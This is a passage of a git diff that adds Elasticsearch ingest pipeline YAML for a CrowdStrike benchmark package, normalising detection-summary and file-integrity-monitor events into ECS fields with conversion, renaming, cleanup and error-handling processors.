+ field: crowdstrike.ConfigStateData + separator: \| + ignore_missing: true + - append: + tag: append_related_hosts_a0b784fd + if: ctx.crowdstrike?.LogonServer != null + field: related.hosts + value: '{{{crowdstrike.LogonServer}}}' + allow_duplicates: false + - append: + tag: append_related_hosts_84a3b58d + if: ctx.crowdstrike?.ClientComputerName != null + field: related.hosts + value: '{{{crowdstrike.ClientComputerName}}}' + allow_duplicates: false + - append: + tag: append_related_hosts_2d2dc803 + if: ctx.crowdstrike?.info?.user?.LastLoggedOnHost != null + field: related.hosts + value: '{{{crowdstrike.info.user.LastLoggedOnHost}}}' + allow_duplicates: false + + - script: + description: Remove long fields based on user input stored in _conf.long_fields*. + tag: script_remove_long_fields_90516c2a + if: ctx._conf?.long_fields == 'delete_long_fields' && ctx._conf?.long_fields_max_length != null + params: + potential_long_fields: + - DylibPath + - EnvironmentVariablesString + - TaskXml + - ScriptContentBytes + - RegBinaryValue + - ScriptContent + - FileContent + - VersionInfo + - OciContainerConfigImage + - OciContainerConfigLabels + - OciContainerConfigTty + - OciContainerEngineType + - OciContainerHostConfigOomKillDisable + - OciContainerHostConfigPrivileged + - OciContainerHostConfigPublishAllPorts + - OciContainerHostConfigReadOnlyRootfs + - OciContainerImageId + - OciContainerInfoRetransmitted + - OciContainerMounts + - OciContainerName + - OciContainerNetworkSettingsIpAddress + - OciContainerStateOOMKilled + - OciContainerStatePid + - OciContainerConfigUser + - OciContainerHostConfigCgroup + - DevicePropertyClassGuid + - DevicePropertyClassName + - DevicePropertyLocationInformation + - ConfigurationDescriptorName + - InstanceMetadata + - InstanceMetadataSignature + - OciContainerAppName + - OciContainerAppVersion + - ManagedPdbBuildPath + - RegStringValue + - InterfaceKind + - ScriptContentScanId + - EfiVariableCustomModeAttributes + - EfiVariableDbAttributes + - EfiVariableDbSha256Hash + - EfiVariableKekAttributes + - EfiVariableKekSha256Hash + - EfiVariablePkAttributes + - EfiVariablePkSha256Hash + - EfiVariableSecureBootAttributes + - EfiVariableSetupModeAttributes + - EfiVariableSignatureSupportAttributes + - ExtendedAttributeValue + - EfiVariableSetupMode + - EfiVariableSignatureSupport + - MmioDataSmiEn + - MmioDataTco1Cnt + - PciConfigDataBdsm + - PciConfigDataBiosCntl + - PciConfigDataGgc + - PciConfigDataHfsts1 + - PciConfigDataRemapbase + - PciConfigDataRemaplimit + - PciConfigDataTom + - PciConfigDataTouud + - PciConfigDataTsegmb + - SpibarDataBfpr + - SpibarDataFreg0 + - SpibarDataFreg1 + - SpibarDataFreg2 + - SpibarDataFreg3 + - SpibarDataFreg4 + - SpibarDataHsfs + - SpibarDataPr0 + - SpibarDataPr1 + - SpibarDataPr2 + - SpibarDataPr3 + - SpibarDataPr4 + - SpibarDataVscc0 + - SpibarDataVscc1 + - VolumeSnapshotName + - MmioDataGenPmconB + - VolumeSnapshotTimeStamp + - OciContainerHostConfigDevices + - OciContainerPhase + - PatternIdList + - RPath + - VolumeOriginPath + - AccountDomain + - AccountObjectGuid + - AccountObjectSid + - DcNumAttachments + - DcNumBlockingPolicies + - ExtendedAttributeValueReadable + - FileVaultIsEnabled + - SamAccountName + - ServiceDependOnService + - ApplicationName + - BluetoothDeviceName + - BluetoothServiceUuid_1 + - BluetoothServiceUuid_2 + - BluetoothServiceUuid_3 + - BluetoothServiceUuid_4 + - BluetoothServiceUuid_5 + - BluetoothVendorIdSource + - CommandCount + - CommandCountMax + - ConnectionAddressIP6 + - FirstCommand + - LastAdded + - LastDisplayed + - ThreadStartBytes + - VolumeDeviceVendor + - BluetoothClassOfDeviceValue + - BluetoothServiceName_3 + - BiosChanged + - BluetoothServiceUuid_6 + - ChangedPcrBitmap + - ExecutableBytes + - ObjectNameEtw + - ObjectTypeEtw + - Pcr0 + - Pcr1 + - Pcr2 + - Pcr3 + - Pcr4 + - Pcr5 + - Pcr6 + - Pcr7 + - RpcOpClassification + - ServiceAccessPropertiesEtw + - ServiceDelayedAutoStart + - SubjectDomainNameEtw + - BluetoothDeviceAppearanceValue + - BluetoothDeviceModelNumber + - BluetoothServiceName_1 + - BluetoothServiceName_4 + - BluetoothServiceName_5 + - BluetoothServiceName_6 + - BluetoothServiceName_7 + - BluetoothServiceName_8 + - BluetoothServiceUuidArray + - BluetoothServiceUuid_7 + - BluetoothServiceUuid_8 + - ClientId + - HttpInternalSource + - HttpMethod + - HttpRequestHeader + - HttpUrl + - IndividualDiskInfo + - KeyObject + - LastPendingUpdateInstalledTime + - LaunchItemType + - LaunchItemUrl + - LdapSearchFilterSample + - MemoryAvailable + - OciContainersStartedCount + - OciContainersStoppedCount + - PciConfigDataGenPmconA + - PciConfigDataMesegBase + - PciConfigDataSmramc + - PendingUpdateIds + - ProcessAttributes + - QuarantinedFileExtendedState + - QuarantinedFileName + - QuarantinedFileState + - RegCreateDisposition + - RegCreateOptions + - RegPostObjectName + - RegRootObjectName + - SourceThreadModule + - StorageUsageInfo + - SystemProcessCount + - UninstallPendingUpdateIds + source: |- + for (String field: params.potential_long_fields) { + if (ctx.crowdstrike.get(field) != null && ctx.crowdstrike[field].length() > ctx._conf.long_fields_max_length) { + ctx.crowdstrike.remove(field); + } + } + + # Cleanup. + - remove: + tag: remove_crowdstrike_event_platform_f15993d1 + if: ctx.host?.os?.type != null + field: + - crowdstrike.event_platform + ignore_missing: true + ignore_failure: true + - remove: + tag: remove_142d62c1 + if: ctx.aws?.s3?.bucket != null && ctx.aws.s3.object != null + field: + - log.file.path + - log.offset + ignore_missing: true + ignore_failure: true + - remove: + tag: remove_c559a4ef + if: ctx._conf?.prune_fields == true + field: + - agent.ephemeral_id + - event.timezone + - log.offset + ignore_missing: true + ignore_failure: true + - remove: + tag: remove_d684cf91 + field: + - _temp + - crowdstrike.timestamp + - crowdstrike._time + - crowdstrike.Time + - crowdstrike.CreationTimeStamp + - crowdstrike.DomainName + - crowdstrike.ConnectionDirection + - crowdstrike.UserIsAdmin + - crowdstrike.UTCTimestamp + - crowdstrike.TargetDirectoryName + - crowdstrike.BrowserExtensionArchitecture + - crowdstrike.MitreAttack + - _conf + ignore_missing: true + - script: + description: This script processor iterates over the whole document to remove fields with null values. + tag: remove_nulls_0370f4ef + source: |- + void handleMap(Map map) { + map.values().removeIf(v -> { + if (v instanceof Map) { + handleMap(v); + } else if (v instanceof List) { + handleList(v); + } + return v == null || v == '' || v == '-' || v == 'none' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0) + }); + } + void handleList(List list) { + list.removeIf(v -> { + if (v instanceof Map) { + handleMap(v); + } else if (v instanceof List) { + handleList(v); + } + return v == null || v == '' || v == '-' || v == 'none' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0) + }); + } + handleMap(ctx); + + # error handling + - set: + tag: set_pipeline_error_into_event_kind_92954dfa + if: ctx.error?.message != null + field: event.kind + value: pipeline_error + - append: + tag: append_preserve_original_event_into_tags_9fe66b2c + if: ctx.error?.message != null + field: tags + value: preserve_original_event + allow_duplicates: false +on_failure: + - set: + tag: set_event_kind_f51b77ad + field: event.kind + value: pipeline_error + - append: + tag: append_tags_d762b9c5 + field: tags + value: preserve_original_event + allow_duplicates: false + - append: + tag: append_error_message_e0c9bd63 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml new file mode 100644 index 0000000000..d40bb25efa --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml @@ -0,0 +1,260 @@ +--- +description: Pipeline for processing Epp Detection Summary events. +processors: + + # EppDetectionSummaryEvent converts + - convert: + tag: convert_CloudIndicator_to_boolean_552bc0f4 + if: ctx.crowdstrike?.CloudIndicator != null && ctx.crowdstrike?.CloudIndicator != '' + field: crowdstrike.CloudIndicator + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_CloudIndicator_7bd12275 + field: + - crowdstrike.CloudIndicator + - append: + tag: append_error_message_1c33af04 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_PatternDispositionValue_to_long_1e7a32d8 + if: ctx.crowdstrike?.PatternDispositionValue != null && ctx.crowdstrike?.PatternDispositionValue != '' + field: crowdstrike.PatternDispositionValue + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_PatternDispositionValue_b117c4a5 + field: + - crowdstrike.PatternDispositionValue + - append: + tag: append_error_message_c637ab38 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_LocalIP_to_ip_85a6b836 + if: ctx.crowdstrike?.LocalIP != null && ctx.crowdstrike.LocalIP != '' + field: crowdstrike.LocalIP + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_LocalIP_f70dd2bb + field: + - crowdstrike.LocalIP + - append: + tag: append_error_message_c42100f6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_LocalIPv6_to_ip_9e08b342 + if: ctx.crowdstrike?.LocalIPv6 != null && ctx.crowdstrike.LocalIPv6 != '' + field: crowdstrike.LocalIPv6 + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_LocalIPv6_20f3473b + field: + - crowdstrike.LocalIPv6 + - append: + tag: append_error_message_a7e996f2 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # timestamps + - foreach: + tag: foreach_crowdstrike_FilesAccessed_7975c0fe + if: ctx.crowdstrike?.FilesAccessed instanceof List + field: crowdstrike.FilesAccessed + processor: + date: + tag: date__ingest__value_Timestamp_b9dba206 + field: _ingest._value.Timestamp + target_field: _ingest._value.Timestamp + formats: + - UNIX + on_failure: + - remove: + tag: remove__ingest__value_Timestamp_1e9e21da + field: + - _ingest._value.Timestamp + ignore_failure: true + - append: + tag: append_error_message_8eaed846 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + tag: foreach_crowdstrike_FilesWritten_069e87ee + if: ctx.crowdstrike?.FilesWritten instanceof List + field: crowdstrike.FilesWritten + processor: + date: + tag: date__ingest__value_Timestamp_3d945d16 + field: _ingest._value.Timestamp + target_field: _ingest._value.Timestamp + formats: + - UNIX + on_failure: + - remove: + tag: remove__ingest__value_Timestamp_151916ea + field: + - _ingest._value.Timestamp + ignore_failure: true + - append: + tag: append_error_message_cccd8556 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # event categorization fields + - set: + tag: set_event_kind_to_alert_39295792 + field: event.kind + value: alert + - append: + tag: append_malware_category_425d1f27 + field: event.category + value: malware + - append: + tag: append_info_type_8a66ccaa + field: event.type + value: info + + # ECS field mappings + - rename: + tag: rename_crowdstrike_LocalIP_to_source_ip_383fbff4 + if: ctx.crowdstrike?.LocalIP != null && ctx.crowdstrike.LocalIP != "" + field: crowdstrike.LocalIP + target_field: source.ip + ignore_missing: true + - convert: + tag: convert_crowdstrike_ProcessId_to_string_7dfed8f3 + if: ctx.crowdstrike?.ProcessId != null && !(ctx.crowdstrike.ProcessId instanceof String) + field: crowdstrike.ProcessId + type: string + ignore_missing: true + - rename: + tag: rename_crowdstrike_ProcessId_to_process_pid_08662a31 + if: ctx.process?.entity_id == null + field: crowdstrike.ProcessId + target_field: process.entity_id + ignore_missing: true + - split: + tag: split_crowdstrike_HostGroups_f53aac76 + field: crowdstrike.HostGroups + separator: ',' + ignore_missing: true + - rename: + tag: rename_crowdstrike_ParentImageFileName_to_process_parent_executable_0b7a24c2 + if: ctx.process?.parent?.name == null + field: crowdstrike.ParentImageFileName + target_field: process.parent.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_ParentImageFilePath_to_process_parent_executable_730e3198 + if: ctx.process?.parent?.executable == null + field: crowdstrike.ParentImageFilePath + target_field: process.parent.executable + ignore_missing: true + - rename: + tag: rename_crowdstrike_Description_to_message_bf015ca8 + field: crowdstrike.Description + target_field: message + ignore_missing: true + - set: + tag: set_rule_description_from_message_1343fd6e + if: ctx.message != null + field: rule.description + copy_from: message + - set: + tag: set_process_name_from_crowdstrike_FileName_56043937 + field: process.name + copy_from: crowdstrike.FileName + ignore_empty_value: true + - set: + tag: set_process_executable_from_crowdstrike_FilePath_68aaf1a2 + field: process.executable + copy_from: crowdstrike.FilePath + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_SHA256String_to_file_hash_sha256_aa319d9c + field: crowdstrike.SHA256String + target_field: file.hash.sha256 + ignore_missing: true + - rename: + tag: rename_crowdstrike_MD5String_to_file_hash_md5_adef1944 + field: crowdstrike.MD5String + target_field: file.hash.md5 + ignore_missing: true + - rename: + tag: rename_crowdstrike_SHA1String_to_file_hash_sha1_b607b768 + field: crowdstrike.SHA1String + target_field: file.hash.sha1 + ignore_missing: true + - append: + tag: append_file_hash_sha1_to_related_hash_c997d53d + if: ctx.file.hash.sha1 != null && ctx.file.hash.sha1 != "" + field: related.hash + value: '{{{file.hash.sha1}}}' + allow_duplicates: false + - append: + tag: append_file_hash_sha256_to_related_hash_78d565ff + if: ctx.file.hash.sha256 != null && ctx.file.hash.sha256 != "" + field: related.hash + value: '{{{file.hash.sha256}}}' + allow_duplicates: false + - append: + tag: append_file_hash_md5_to_related_hash_6d53928a + if: ctx.file.hash.md5 != null && ctx.file.hash.md5 != "" + field: related.hash + value: '{{{file.hash.md5}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_FileName_to_file_name_ef2fa373 + field: crowdstrike.FileName + target_field: file.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_FilePath_to_file_path_da7c5277 + field: crowdstrike.FilePath + target_field: file.path + ignore_missing: true + - rename: + tag: rename_crowdstrike_Name_to_rule_name_0af962b5 + field: crowdstrike.Name + target_field: rule.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_DetectId_to_rule_id_64a9abd2 + field: crowdstrike.DetectId + target_field: rule.id + ignore_missing: true + - append: + tag: append_crowdstrike_MACAddress_into_host_mac_c3cddec3 + if: ctx.crowdstrike?.MACAddress != null && ctx.crowdstrike.MACAddress != "" + field: host.mac + value: '{{{crowdstrike.MACAddress}}}' + allow_duplicates: false + - uppercase: + tag: uppercase_host_mac_a2d4985e + if: ctx.host?.mac != null + field: host.mac + ignore_missing: true + + # error handling +on_failure: + - append: + tag: append_error_message_9319ae1f + field: error.message + value: Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + tag: set_pipeline_error_into_event_kind_f51b77ad + field: event.kind + value: pipeline_error + - append: + tag: append_preserve_original_event_into_tags_d762b9c5 + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml new file mode 100644 index 0000000000..68684856a4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml @@ -0,0 +1,397 @@ +--- +description: Pipeline for processing FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events from Falcon FileVantage. +processors: + + # event categorization fields + - set: + tag: set_event_kind_to_event_de80643c + field: event.kind + value: event + - append: + tag: append_file_to_event_category_5b7e3a2d + if: ctx.crowdstrike?.ObjectType != null && (ctx.crowdstrike.ObjectType == '1' || ctx.crowdstrike.ObjectType == '2') + field: event.category + value: file + allow_duplicates: false + - append: + tag: append_registry_to_event_category_c6ba5eba + if: ctx.crowdstrike?.ObjectType != null && (ctx.crowdstrike.ObjectType == '3' || ctx.crowdstrike.ObjectType == '4') + field: event.category + value: registry + allow_duplicates: false + # fall back to file category for Enriched events + - append: + tag: append_file_to_event_category_32d4d587 + if: ctx.event.category == null + field: event.category + value: file + - script: + tag: script_set_event_type_6a155454 + if: ctx.crowdstrike?.ObjectAccessOperationType != null + params: + op_types: + "1": creation + "2": change + "3": deletion + "4": change + "5": change + "6": change + "7": change + "8": access + source: |- + def type = params.get('op_types')[ctx.crowdstrike.ObjectAccessOperationType]; + if (type != null) { + ctx.event = ctx.event ?: [:]; + ctx.event.type = [type]; + } + on_failure: + - append: + tag: append_error_message_7270a1e4 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + # fall back to change type for Enriched events + - append: + tag: append_change_to_event_type_d125ca99 + if: ctx.event.type == null + field: event.type + value: change + + # field values mapping + - script: + tag: script_set_object_type_348f5b4a + if: ctx.crowdstrike?.ObjectType != null + params: + obj_types: + "1": FILE + "2": FOLDER + "3": VALUE + "4": KEY + source: |- + def type = params.get('obj_types')[ctx.crowdstrike.ObjectType]; + if (type != null) { + ctx.crowdstrike.ObjectType = type; + } + on_failure: + - append: + tag: append_error_message_da5b712a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + tag: script_set_operation_type_70f01684 + if: ctx.crowdstrike?.ObjectAccessOperationType != null + params: + op_types: + "1": CREATE + "2": WRITE + "3": DELETE + "4": SET + "5": RENAME + "6": ATTRIBUTES_CHANGED + "7": PERMISSIONS_CHANGED + "8": OPEN_WRITE + source: |- + def type = params.get('op_types')[ctx.crowdstrike.ObjectAccessOperationType]; + if (type != null) { + ctx.crowdstrike.ObjectAccessOperationType = type; + } + on_failure: + - append: + tag: append_error_message_689b42d4 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # converts + - convert: + tag: convert_crowdstrike_ContentDiff_Exists_to_boolean_9647694e + field: crowdstrike.ContentDiff.Exists + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_ContentDiff_Exists_a5ef3c39 + field: + - crowdstrike.ContentDiff.Exists + - append: + tag: append_error_message_4531827e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_Suppression_Suppressed_to_boolean_64590ae3 + field: crowdstrike.Suppression.Suppressed + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_Suppression_Suppressed_6d408885 + field: + - crowdstrike.Suppression.Suppressed + - append: + tag: append_error_message_2bb5a411 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_PolicyRuleSeverity_to_long_29e3439d + field: crowdstrike.PolicyRuleSeverity + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_PolicyRuleSeverity_d600dfd1 + field: + - crowdstrike.PolicyRuleSeverity + - append: + tag: append_error_message_fca361b3 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_FileSize_to_long_57c441c5 + field: crowdstrike.FileSize + type: long + ignore_missing: true + on_failure: + - append: + tag: append_error_message_e42344eb + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # timestamps + - date: + tag: date_crowdstrike_RuleModifiedTimeStamp_into_crowdstrike_RuleModifiedTimeStamp_8d1f9a9e + if: ctx.crowdstrike?.RuleModifiedTimeStamp != null && ctx.crowdstrike.RuleModifiedTimeStamp != '' + field: crowdstrike.RuleModifiedTimeStamp + target_field: crowdstrike.RuleModifiedTimeStamp + formats: + - UNIX + - UNIX_MS + timezone: UTC + on_failure: + - remove: + tag: remove_RuleModifiedTimeStamp_10560cc7 + field: + - RuleModifiedTimeStamp + - append: + tag: append_error_message_a976ed0e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # ECS mappings + - set: + tag: set_user_id_from_crowdstrike_User_ID_494678a0 + field: user.id + copy_from: crowdstrike.User.ID + ignore_empty_value: true + - set: + tag: set_user_name_from_crowdstrike_User_Name_2a157dc4 + field: user.name + copy_from: crowdstrike.User.Name + ignore_empty_value: true + - set: + tag: set_host_hostname_from_crowdstrike_Host_Name_97f29382 + field: host.hostname + copy_from: crowdstrike.Host.Name + ignore_empty_value: true + - set: + tag: set_rule_name_from_crowdstrike_Policy_RuleBasePath_cb4280e1 + field: rule.name + copy_from: crowdstrike.Policy.RuleBasePath + ignore_empty_value: true + - set: + tag: set_rule_ruleset_from_crowdstrike_Policy_RuleGroupName_148ba698 + field: rule.ruleset + copy_from: crowdstrike.Policy.RuleGroupName + ignore_empty_value: true + - set: + tag: set_file_hash_sha256_from_crowdstrike_ContentDiff_SHA256_ed9edf84 + field: file.hash.sha256 + copy_from: crowdstrike.ContentDiff.SHA256 + ignore_empty_value: true + - set: + tag: set_rule_id_from_crowdstrike_PolicyRuleID_d838e264 + field: rule.id + copy_from: crowdstrike.PolicyRuleID + ignore_empty_value: true + - set: + tag: set_rule_ruleset_from_crowdstrike_PolicyRuleGroupID_f58c49f0 + field: rule.ruleset + copy_from: crowdstrike.PolicyRuleGroupID + ignore_empty_value: true + - set: + tag: set_file_size_from_crowdstrike_FileSize_58cea3ea + field: file.size + copy_from: crowdstrike.FileSize + ignore_empty_value: true + - set: + tag: set_file_owner_from_crowdstrike_NewOwner_9af693ec + field: file.owner + copy_from: crowdstrike.NewOwner + ignore_empty_value: true + - set: + tag: set_file_group_from_crowdstrike_NewGroup_b85bdf80 + field: file.group + copy_from: crowdstrike.NewGroup + ignore_empty_value: true + - append: + tag: append_crowdstrike_FileAttributesNew_into_file_attributes_2d526026 + if: ctx.crowdstrike?.FileAttributesNew != null + field: file.attributes + value: '{{{crowdstrike.FileAttributesNew}}}' + allow_duplicates: false + - append: + tag: append_crowdstrike_NewFileAttributesLinux_into_file_attributes_97600240 + if: ctx.crowdstrike?.NewFileAttributesLinux != null + field: file.attributes + value: '{{{crowdstrike.NewFileAttributesLinux}}}' + allow_duplicates: false + - append: + tag: append_file_hash_sha256_into_related_hash_017aef51 + if: ctx.file?.hash?.sha256 != null + field: related.hash + value: '{{{file.hash.sha256}}}' + allow_duplicates: false + - script: + tag: script_set_event_severity_from_PolicyRuleSeverity_4032c1c4 + if: ctx.crowdstrike?.PolicyRuleSeverity != null + source: |- + ctx.event = ctx.event ?: [:]; + def severity = ctx.crowdstrike.PolicyRuleSeverity; + if (severity == 1) { + ctx.event.severity = 21; + } else if (severity == 2) { + ctx.event.severity = 47; + } else if (severity == 3) { + ctx.event.severity = 73; + } else if (severity == 4) { + ctx.event.severity = 99; + } + on_failure: + - append: + tag: append_error_message_cdf0b014 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # rename event handling for files and registry + - set: + tag: set_file_path_from_ObjectNameNew_for_rename_events_0400ebd4 + if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER') + field: file.path + copy_from: crowdstrike.ObjectNameNew + ignore_empty_value: true + - set: + tag: set_file_original_path_from_ObjectName_for_rename_events_49f9c5d0 + if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER') + field: file.Ext.original.path + copy_from: crowdstrike.ObjectName + ignore_empty_value: true + - set: + tag: set_registry_path_from_ObjectNameNew_for_rename_events_ee30dbc5 + if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'VALUE' || ctx.crowdstrike.ObjectType == 'KEY') + field: registry.path + copy_from: crowdstrike.ObjectNameNew + ignore_empty_value: true + - set: + tag: set_file_path_from_ObjectName_for_non-rename_events_d432ea88 + if: ctx.crowdstrike?.ObjectAccessOperationType != 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER') && ctx.file?.path == null + field: file.path + copy_from: crowdstrike.ObjectName + ignore_empty_value: true + - set: + tag: set_registry_path_from_ObjectName_for_non-rename_events_ae198652 + if: ctx.crowdstrike?.ObjectAccessOperationType != 'RENAME' && (ctx.crowdstrike.ObjectType == 'VALUE' || ctx.crowdstrike.ObjectType == 'KEY') && ctx.registry?.path == null + field: registry.path + copy_from: crowdstrike.ObjectName + ignore_empty_value: true + - set: + tag: set_file_type_to_dir_for_folders_3a399212 + if: ctx.crowdstrike?.ObjectType == 'FOLDER' && ctx.file?.path != null + field: file.type + value: dir + ignore_empty_value: true + - set: + tag: set_file_type_to_file_for_files_f5d7d730 + if: ctx.crowdstrike?.ObjectType == 'FILE' && ctx.file?.path != null && ctx.file?.type == null + field: file.type + value: file + ignore_empty_value: true + # file.path parsing and file.Ext.original.path parsing are handled by default.yml pipeline + + - script: + description: Parse registry path to extract registry key and value + tag: parse_registry_path_to_extract_registry_key_and_value_8265f599 + if: ctx.registry?.path != null && ctx.registry.path.length() > 0 + source: |- + def path = ctx.registry.path; + def idx = path.lastIndexOf('\\'); + if (idx >= 0) { + ctx.registry = ctx.registry ?: [:]; + ctx.registry.key = path.substring(0, idx); + ctx.registry.value = path.substring(idx+1); + } else { + ctx.registry = ctx.registry ?: [:]; + ctx.registry.key = path; + } + // Clean up registry.key: remove \REGISTRY\(USER|MACHINE)\ prefix + if (ctx.registry.key != null) { + def key = ctx.registry.key; + if (key.startsWith('\\REGISTRY\\USER\\')) { + ctx.registry.key = key.substring('\\REGISTRY\\USER\\'.length()); + } else if (key.startsWith('\\REGISTRY\\MACHINE\\')) { + ctx.registry.key = key.substring('\\REGISTRY\\MACHINE\\'.length()); + } + } + on_failure: + - append: + tag: append_error_message_b5482b4f + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # FileIntegrityMonitorRuleMatched renames + - rename: + tag: rename_PolicyIdentifier_to_Policy_ID_f03b77d2 + field: crowdstrike.PolicyIdentifier + target_field: crowdstrike.Policy.ID + ignore_missing: true + + # clean up + - remove: + tag: remove_custom_duplicate_fields_fb958877 + field: + - crowdstrike.User + - crowdstrike.Host.Name + - crowdstrike.Policy.RuleBasePath + - crowdstrike.Policy.RuleGroupName + - crowdstrike.ContentDiff.SHA256 + - crowdstrike.PolicyRuleID + - crowdstrike.PolicyRuleGroupID + - crowdstrike.FileSize + - crowdstrike.NewOwner + - crowdstrike.NewGroup + - crowdstrike.ObjectName + - crowdstrike.ObjectNameNew + ignore_missing: true + + # error handling + - set: + tag: set_pipeline_error_into_event_kind_92954dfa + if: ctx.error?.message != null + field: event.kind + value: pipeline_error + - append: + tag: append_preserve_original_event_into_event_kind_a0b8d607 + if: ctx.error?.message != null + field: event.kind + value: preserve_original_event + allow_duplicates: false +on_failure: + - append: + tag: append_error_message_d1950926 + field: error.message + value: Processor '{{{ _ingest.on_failure_processor_type }}}' {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' + - set: + tag: set_pipeline_error_into_event_kind_f51b77ad + field: event.kind + value: pipeline_error + - append: + tag: append_preserve_original_event_into_event_kind_c274f7a2 + field: event.kind + value: preserve_original_event + allow_duplicates: false diff --git 